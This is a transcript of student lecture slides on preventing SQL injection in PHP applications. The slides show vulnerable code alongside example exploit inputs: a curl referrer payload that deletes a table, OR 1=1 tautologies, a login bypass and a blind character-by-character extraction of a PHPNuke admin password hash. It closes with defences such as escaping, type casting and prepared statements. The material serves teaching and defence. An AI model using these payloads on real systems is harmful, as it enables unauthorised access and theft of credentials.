Check That Input Preventing SQL Injection Attacks By Andrew Morton For CS 410.

Slides:



Advertisements
Similar presentations
Module XIV SQL Injection
Advertisements

PHP SQL. Connection code:- mysql_connect("server", "username", "password"); Connect to the Database Server with the authorised user and password. Eg $connect.
CC SQL Utilities.
PHP Hypertext Preprocessor Information Systems 337 Prof. Harry Plantinga.
How Did I Steal Your Database Mostafa
Introduction The concept of “SQL Injection”
By Brian Vees.  SQL Injection  Username Enumeration  Cross Site Scripting (XSS)  Remote Code Execution  String Formatting Vulnerabilities.
SQL Injection Attacks Prof. Jim Whitehead CMPS 183: Spring 2006 May 17, 2006.
1. What is SQL Injection 2. Different varieties of SQL Injection 3. How to prevent it.
ASP.NET Programming with C# and SQL Server First Edition Chapter 8 Manipulating SQL Server Databases with ASP.NET.
SQL Injection Attacks CS 183 : Hypermedia and the Web UC Santa Cruz.
Handling Security Threats in Kentico CMS Karol Jarkovsky Sr. Solution Architect Kentico Software
PHP-MySQL By Jonathan Foss. PHP and MySQL Server Web Browser Apache PHP file PHP MySQL Client Recall the PHP architecture PHP can communicate with a MySQL.
SQL Injection Timmothy Boyd CSE 7330.
MIS Week 11 Site:
MySQL in PHP – Page 1 of 17CSCI 2910 – Client/Server-Side Programming CSCI 2910 Client/Server-Side Programming Topic: MySQL in PHP Reading: Williams &
CSCI 6962: Server-side Design and Programming JDBC Database Programming.
Analysis of SQL injection prevention using a proxy server By: David Rowe Supervisor: Barry Irwin.
Advanced Database Management System Lab no. 11. SQL Commands (for MySQL) –Update –Replace –Delete.
Chapter 7 PHP Interacts with Ms. Access (Open DataBase Connectivity (ODBC))
Hamdi Yesilyurt, MA Student in MSDF & PhD-Public Affaris SQL Riji Jacob MS Student in Computer Science.
(CPSC620) Sanjay Tibile Vinay Deore. Agenda  Database and SQL  What is SQL Injection?  Types  Example of attack  Prevention  References.
CSCI 6962: Server-side Design and Programming Secure Web Programming.
Lecture 14 – Web Security SFDV3011 – Advanced Web Development 1.
Tom Castiglia Hershey Technologies
Attacking Applications: SQL Injection & Buffer Overflows.
CHAPTER:14 Simple Queries in SQL Prepared By Prepared By : VINAY ALEXANDER ( विनय अलेक्सजेंड़र ) PGT(CS),KV JHAGRAKHAND.
Accessing MySQL with PHP IDIA 618 Fall 2014 Bridget M. Blodgett.
Creating Dynamic Web Pages Using PHP and MySQL CS 320.
Web Scripting [PHP] CIS166AE Wednesdays 6:00pm – 9:50pm Rob Loy.
1. Connecting database from PHP 2. Sending query 3. Fetching data 4. Persistent connections 5. Best practices.
Strategic Security, Inc. © Introduction To SQL Injection Presented By: Joe McCray
Attacking Data Stores Brad Stancel CSCE 813 Presentation 11/12/2012.
Analysis of SQL injection prevention using a filtering proxy server By: David Rowe Supervisor: Barry Irwin.
Accessing Your MySQL Database from the Web with PHP (Ch 11) 1.
SQL Injection Jason Dunn. SQL Overview Structured Query Language For use with Databases Purpose is to retrieve information Main Statements Select Insert.
SQL INJECTIONS Presented By: Eloy Viteri. What is SQL Injection An SQL injection attack is executed when a web page allows users to enter text into a.
Sumanth M Ganesh B CPSC 620.  SQL Injection attacks allow a malicious individual to execute arbitrary SQL code on your server  The attack could involve.
Aniket Joshi Justin Thomas. Agenda Introduction to SQL Injection SQL Injection Attack SQL Injection Prevention Summary.
SQL – Injections Intro. Prajen Bhadel College of Information Technology & Engeneering Kathmandu tinkune Sixth semister.
WEB SECURITY WEEK 2 Computer Security Group University of Texas at Dallas.
Web Security Lesson Summary ●Overview of Web and security vulnerabilities ●Cross Site Scripting ●Cross Site Request Forgery ●SQL Injection.
Chapter 8 Manipulating MySQL Databases with PHP PHP Programming with MySQL 2 nd Edition.
JDBC CS 260 Database Systems. Overview  Introduction  JDBC driver types  Eclipse project setup  Programming with JDBC  Prepared statements  SQL.
CHAPTER 10 PHP MySQL Database
Mr. Justin “JET” Turner CSCI 3000 – Fall 2015 CRN Section A – TR 9:30-10:45 CRN – Section B – TR 5:30-6:45.
SQL Injection Anthony Brown March 4, 2008 IntroductionQuestionsBackgroundTechniquesPreventionDemoConclusions.
Secure Authentication. SQL Injection Many web developers are unaware of how SQL queries can be tampered with SQL queries are able to circumvent access.
SQL Injection Attacks An overview by Sameer Siddiqui.
ADVANCED SQL.  The SQL ORDER BY Keyword  The ORDER BY keyword is used to sort the result-set by one or more columns.  The ORDER BY keyword sorts the.
SQL Injection Attacks S Vinay Kumar, 07012D0506. Outline SQL Injection ? Classification of Attacks Attack Techniques Prevention Techniques Conclusion.
SQL INJECTION Diwakar Kumar Dinkar M.Tech, CS&E Roll Diwakar Kumar Dinkar M.Tech, CS&E Roll
Web Database Programming Using PHP
SQL Injection Attacks.
ASP.NET Programming with C# and SQL Server First Edition
SQL Primer Boston University CS558 Network Security Fall 2015
CS 3630 Database Design and Implementation
Chapter 5 Introduction to SQL.
SQL Injection.
Web Database Programming Using PHP
Unix System Administration
SQL INJECTION ATTACKS.
Pengantar Keamanan Informasi
Intro to Ethical Hacking
Web Systems Development (CSC-215)
PHP: Security issues FdSc Module 109 Server side scripting and
Chapter 13 Security Methods Part 3.
Lecture 2 - SQL Injection
SQL Injection Attacks John Sweetnam
Intro to Ethical Hacking
Presentation transcript:

Check That Input Preventing SQL Injection Attacks By Andrew Morton For CS 410

SQL Syntax Review Basic select query: SELECT * FROM user WHERE id = 1 AND pass = 'notsecure' Literal strings are delimited with single quotes. Numeric literals aren’t delimited.

SQL Syntax Review Some databases allow semicolons to separate multiple statements: DELETE FROM user WHERE id = 1; INSERT INTO user (id, pass) VALUES (1, 'secure'); For most SQL variants, the sequence -- means the rest of the line should be treated as a comment.

Conceptual Overview Attack targets the database layer of an application The attacker targets places where user input is used in SQL statements Vulnerabilities occur when: User input is incorrectly filtered for string literal, escape characters User input is not strongly typed

A Simple Example A little bit of PHP to save a URL's referrer to the database: <?php $time = time(); $uri = $_SERVER['REQUEST_URI']; $ref = $_SERVER['HTTP_REFERER']; $query = “INSERT INTO logs (time, url, ref) VALUES ($time, '$url', ‘$url’)”; // … execute the query ?> When accessed by a "normal" user, this will create a query similar to: INSERT INTO logs (time, url, ref) VALUES ( , '/node/33/', '

Lets Exploit It… The problem is that the user can provide an arbitrary referrer: curl -e " log; --" Which will result in the query: INSERT INTO log (time, url, ref) VALUES ( , '/refer.php', ' log; --') And the log table would be empty

Another Simple Example We want to have a read counter for each article on our site The URLs look like where X in an integer. We come up with the following:

Another Simple Exploit Because we don't check that $id is numeric this one's even easier. We don't even need to insert quotes, we just add onto the end of the query. curl " Results in: UPDATE article SET reads = reads + 1 WHERE id = 1 OR 1=1 Though, incrementing all the counters isn't that useful…

A More Useful Exploit Our login code: What if we provide the username: ' OR 1— That results in the query: SELECT uid from users WHERE name = '' OR 1 OR '' = '' AND pass = MD5('pass') Which returns all rows, ignoring the password field. This would effectively make you the first user in the table.

Securing Your Code Validate all user supplied input: Escape strings: Replacing ' with '' is not enough Use the database’s string encoding functions. PHP’s mysql_real_escape_string() takes the server’s in Cast data appropriately. Expected integers should be cast to prevent strings from being inserted in their place Use regular expressions to help narrow down allowed values

Securing Your Code Suppress error messages Though not covered here they make it easier for attackers to gather information about your database: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ': admin/r00tr0x! guest/guest chris/password fred/sesame' to a column of data type int.

Securing Your Code Use data access libraries that support prepared statements For example PHP’s new the PDO prepare("INSERT INTO REGISTRY (name, value) VALUES (:name, :value)"); $stmt->bindParam(':name', $name); $stmt->bindParam(':value', $value); // insert one row $name = 'one‘ $value = 1 $stmt->execute(); ?> Improves performance by allowing query plans to be compiled once.

Advanced Exploit: Select Fishing Use an unchecked numeric input to a query to find the admin password hash Password is an MD5 hash 32 characters long with 16 possible values: abcdef abcdef We’ll insert a sub-query to read out one character at a time by observing the difference in the query’s results we can determine

Advanced Exploit: Select Fishing Sample PHPNuke exploit URL: name=search&query=&topic=&category=&author=&days=1+or +mid(a.pwd,1,1) =6&type=stories Results in the query: SELECT s.sid, s.aid, s.informant, s.title, s.time, s.hometext, s.bodytext, a.url, s.comments, s.topic from nuke_stories s, nuke_authors a WHERE s.aid=a.aid AND (s.title LIKE '%' OR s.hometext LIKE '%' OR s.bodytext LIKE '%' OR s.notes LIKE '%') AND TO_DAYS(NOW()) - TO_DAYS (time) <= 1 or mid(a.pwd,1,1)=6 ORDER BY s.time DESC LIMIT 0,10 If the admin’s password hash begins with a 1 we’ll get the admin’s stories.

Advanced Exploit: Select Fishing So now we work our way through each of the 16 possible characters looking for a match Once you figure out one character move on to the next: modules.php?name=Search&query=&topic=&category=&autho r=&days=1+or+mid (a.pwd,1,1)=1&type=stories... modules.php?name=Search&query=&topic=&category=&autho r=&days=1+or+mid (a.pwd,1,1)=9&type=stories When you get to A-F you run into a problem: how do you avoid quotes which would be filtered? The char() function comes to the rescue: modules.php?name=Search&query=&topic=&category=&autho r=&days=1+or+mid (a.pwd,1,1)=char(97)&type=stories … modules.php?name=Search&query=&topic=&category=&autho r=&days=1+or+mid (a.pwd,1,1)=char(102)&type=stories

References General tion.ppt tion.ppt PHP specific MS SQL Specific Blind Fishing